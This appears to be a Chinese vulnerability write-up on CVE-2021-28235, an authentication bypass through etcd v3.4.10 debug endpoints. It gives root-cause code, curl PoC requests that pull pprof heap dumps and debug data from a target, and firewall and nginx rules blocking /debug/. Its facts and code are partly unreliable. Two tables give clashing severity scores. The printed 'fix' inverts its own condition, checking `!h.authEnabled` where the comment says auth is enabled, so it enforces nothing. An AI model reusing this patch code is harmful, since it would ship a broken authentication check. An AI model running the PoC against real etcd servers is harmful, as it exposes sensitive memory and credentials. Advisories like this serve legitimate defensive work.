一、漏洞简介¶
1.1 漏洞背景¶
etcd v3.4.10 版本中被发现存在一个认证绕过漏洞,攻击者可以通过调试功能实现权限提升。该漏洞与 etcd 的调试接口实现有关。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2021-28235 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | 调试功能权限提升 |
| 披露时间 | 2023-04-04 |
| 影响组件 | etcd 安全 |
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2021-28235 |
| 危害等级 | 高危 |
| CVSS 评分 | 8.8 (High) |
| 漏洞类型 | 认证绕过 / 权限提升 (CWE-287: Improper Authentication) |
补充核验信息:公开时间:2023-04-04;NVD 评分:9.8(CRITICAL);CWE:CWE-287。
二、影响范围¶
2.1 受影响的版本¶
- etcd v3.4.10
2.2 不受影响的版本¶
- etcd v3.4.11 及以上版本(已修复)
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- etcd 启用了认证功能
- 调试接口(debug endpoints)可访问
- 攻击者具有网络访问权限
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
+-----------------+ +-----------------+
| 攻击者 | 访问调试端点 | etcd 服务端 |
| (低权限用户) | ----------------------> | |
+-----------------+ 绕过认证检查 +-----------------+
| |
v v
+-----------------+ +-----------------+
| 获取敏感信息 | | 提升为管理员权限 |
+-----------------+ +-----------------+
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞存在于调试接口的实现中,调试端点未能正确执行认证检查:
// 漏洞代码示意
func (h *handler) serveDebug(w http.ResponseWriter, r *http.Request) {
// 缺少认证检查
// 应该在这里验证用户身份和权限
// 但实际代码跳过了该检查
// 直接返回调试信息
debugInfo := h.getServerDebugInfo()
json.NewEncoder(w).Encode(debugInfo)
}
修复补丁增加了认证检查:
// 修复后的代码
func (h *handler) serveDebug(w http.ResponseWriter, r *http.Request) {
// 添加认证检查
if !h.authEnabled {
// 如果启用了认证,验证用户
user, err := h.authInfoFromRequest(r)
if err != nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// 检查是否有调试权限
if !h.hasDebugPermission(user) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
}
debugInfo := h.getServerDebugInfo()
json.NewEncoder(w).Encode(debugInfo)
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 启动易受攻击的 etcd v3.4.10
docker run -d --name etcd-vulnerable \
-p 2379:2379 -p 2380:2380 \
gcr.io/etcd-development/etcd:v3.4.10 \
/usr/local/bin/etcd
# 启用认证
etcdctl user add root
etcdctl auth enable
4.2 PoC 演示与测试过程¶
# 访问调试端点(无需 root 权限)
curl http://target:2379/debug/pprof/
# 或使用特定调试接口
curl http://target:2379/debug/vars
curl http://target:2379/debug/requests
# 通过调试接口获取敏感信息
curl http://target:2379/debug/pprof/heap > heap.out
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到 etcd v3.4.11 或更高版本。
# 升级 etcd
# 对于 Kubernetes 集群,参考官方升级文档
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:禁用调试端点
# 启动时不暴露调试端点
etcd --enable-pprof=false
方案二:网络层隔离
# 使用防火墙限制调试端口访问
iptables -A INPUT -p tcp --dport 2379 -m string \
--string "/debug/" --algo bm -j DROP
方案三:反向代理过滤
# nginx 配置
location ~ /debug/ {
deny all;
return 403;
}